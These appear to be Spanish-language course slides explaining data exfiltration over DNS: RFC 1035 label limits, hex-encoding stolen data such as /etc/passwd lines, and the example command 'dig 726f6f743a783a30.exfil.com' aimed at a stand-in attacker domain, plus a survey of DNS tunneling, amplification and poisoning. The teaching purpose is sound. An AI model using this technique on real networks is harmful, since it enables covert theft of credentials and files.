DNS

Puerto 53 / UDP

Seguridad Ofensiva

Exfiltración de Datos

vía DNS

¿Cómo los datos salen de una red sin que nadie los detecte?

Redes de Computadoras · Ingeniería de Software

¿Qué es la exfiltración de datos?

01 Exfiltración

Técnica mediante la cual un atacante extrae información confidencial de un sistema o red sin autorización, enviándola hacia el exterior de forma encubierta - sin levantar alertas.

⚠️ **Contexto clave**

El atacante ya está dentro del sistema.
La exfiltración es el paso en que saca los datos, no el acceso inicial. Son dos ataques distintos.

¿Qué puede robarse?

- → Contraseñas y hashes (/etc/passwd)
- → Claves SSH / tokens de API
- → Archivos de configuración del sistema
- → Bases de datos completas

Posición dentro de las fases de un ataque:

1. Reconocimiento	2. Acceso inicial	3. Persistencia	**4. Exfiltración ◄**

DNS actúa como el canal encubierto de esa última fase

Cómo funciona DNS normalmente

02 DNS Normal

Base necesaria antes de ver el ataque



Escribes

`google.com`



DNS busca

`la dirección IP`



Responde con

`142.250.80.46`



Tu PC se conecta

`al servidor`

⚡ Puerto 53 / UDP. Este puerto NUNCA se bloquea. Si se cierra, toda la red deja de funcionar: nadie puede navegar, mandar correos, ni usar ninguna app. Eso lo convierte en un canal siempre disponible.

Cada dispositivo conectado a internet lanza consultas DNS constantemente:
navegarores, apps, terminales, servicios internos, el flujo es incesante y se da por sentado.

RFC 1035: La "ley" que define DNS

¿Qué es un RFC?

Request for Comments. Son los documentos técnicos oficiales donde se especifica, bit a bit, cómo funciona cada protocolo de internet.

Si quieres saber cómo funciona DNS a nivel de paquetes, lees el RFC 1035.

RFC 1035: Datos clave

📅 Publicado: noviembre de 1987

✍️ Autor: Paul Mockapetris

📄 Define toda la estructura de DNS

§ 3.1 Especifica el campo QNAME

❌ Sin autenticación de contenido

⚠️ El problema: en 1987 internet tenía apenas miles de nodos: universidades y gobierno. Todos se conocían. El RFC 1035 nunca contempló que actores maliciosos usarían DNS, por lo que no define ningún mecanismo de autenticación de contenido.

```
RFC 1035 §3.1 - Domain Name Space (extracto)

"Labels must follow the rules for ARPANET host names. They must start with a
letter, end with a letter or digit, and have as interior characters only letters,
digits, and hyphen. There are also some restrictions on the length. Labels must
be 63 characters or less."

→  Máximo 63 octetos por etiqueta.  253 caracteres en total.  Sin restricción semántica.
```

El campo QNAME - La estructura que abusamos

En una consulta DNS normal, el QNAME contiene el dominio que preguntas:

```
$ dig www.google.com        →    QNAME:  [ www ] . [ google ] . [ com ]
```

www
Etiqueta 1
3 caracteres

google
Etiqueta 2
6 caracteres

com
Etiqueta 3
3 caracteres

Por etiqueta	Nombre completo	Caracteres permitidos	Restricción semántica
Máx. 63 bytes	**Máx. 253 bytes**	**a-z, 0-9, guión**	**NINGUNA ★**

★ El RFC no exige que el contenido de cada etiqueta sea una palabra real. Solo define el tamaño máximo. Aquí es donde entra el ataque.

¿Por qué mandamos datos en hexadecimal?

✗ Texto directo - NO funciona

```
dig root:x:0.exfil.com
```

El carácter ":" no es válido en DNS.
Espacios, tildes y símbolos tampoco.
El sistema rechaza la consulta antes de enviarla.

✓ Hexadecimal - SÍ funciona

```
dig 726f6f743a783a30.exfil.com
```

Hex solo usa 0-9 y a-f.
Todos son caracteres válidos en DNS.
El firewall ve tráfico DNS completamente normal.

La conversión: xxd -p

r	o	o	t	:	x	:	0
↓	↓	↓	↓	↓	↓	↓	↓
72	6f	6f	74	3a	78	3a	30

root:x:0 → 726f6f743a783a30 → 726f6f743a783a30.exfil.com

¿Cuántos caracteres ASCII caben en el QNAME?

1 etiqueta DNS

63 chars hex

= 31 bytes ASCII
= ~31 caracteres de texto

Usamos en la práctica

40 chars hex

= 20 bytes por consulta
margen seguro bajo el límite

Total del dominio

253 bytes

= varios fragmentos
combinando etiquetas

Límite de consultas

Sin límite

N consultas × 20 bytes
= cualquier tamaño de archivo

→ Un archivo de 1 KB necesita ~50 consultas DNS. Una base de datos de 10 MB, ~500 000 consultas, y con inotifywait el script las genera automáticamente, línea a línea, sin intervención humana.

Por qué DNS no fue diseñado para ser seguro

07 DNS inseguro

1969 — ARPANET 4 nodos

1983 — DNS inventado por Mockapetris

1987 — RFC 1035 publicado

2005 — DNSSEC propuesto

Hoy — Mayoría sin DNSSEC activo

Sin autenticación de contenido

El RFC 1035 no define ningún mecanismo para verificar qué va dentro del QNAME. Cualquier dato, incluyendo credenciales cabe sin problema.

Sin cifrado nativo

Las consultas DNS viajan en texto plano por UDP. Cualquier nodo en la ruta puede leer qué dominios consultas y qué datos llevan los subdominios.

Firewalls solo validan la forma

¿Es UDP? ¿Puerto 53? ¿Cabecera DNS válida? Sí → pasa. El contenido del QNAME no se inspecciona en la mayoría de redes corporativas.

DPI raramente desplegado

Para detectar hex anómalo en subdominios hace falta inspección profunda de paquetes (DPI). La gran mayoría de redes no la tienen configurada.

¿Por qué es atacable DNS?

⚡ La contradicción fundamental: bloquear el puerto 53 mata la red entera. Por eso nadie lo bloquea. Y eso lo convierte en un canal garantizado, siempre abierto, para un atacante.

Si bloqueas el puerto 53...

- ✗ No puedes navegar por internet
- ✗ El correo deja de funcionar
- ✗ Las apps no resuelven servidores
- ✗ Los servicios internos fallan
- ✗ La red entera queda paralizada
- ✗ Ni tu VPN puede conectar

Si dejas el puerto 53 abierto...

- ✓ La red funciona normalmente
- ✓ Los usuarios están contentos
- ✓ Los servicios resuelven bien
- ⚠️ El atacante también puede usarlo
- ⚠️ Los datos salen como DNS queries
- ⚠️ Y nadie lo detecta

Otros ataques que usan DNS

DNS no solo sirve para exfiltrar, es un canal para múltiples tipos de ataque

C2 Canal bidireccional

DNS Tunneling

No solo exfiltración: también se envían comandos de vuelta al malware usando las respuestas DNS. El atacante obtiene control total del equipo víctima a través del puerto 53.

DDoS Amplificación

DNS Amplification

Una consulta pequeña genera una respuesta enorme. El atacante falsifica la IP de la víctima y la inunda con tráfico DNS masivo. Factor de amplificación: hasta 70×.

Redirección Kaminsky (2008)

DNS Cache Poisoning

Se inyectan registros DNS falsos en el caché del resolver. La víctima visita "banco.com" pero llega a la página del atacante. El ataque más famoso lo descubrió Dan Kaminsky.

Secuestro de servidor

DNS Hijacking

Se compromete el servidor DNS o el router. Todas las consultas de la red se redirigen al servidor del atacante, que responde con IPs falsas para cualquier dominio que elija.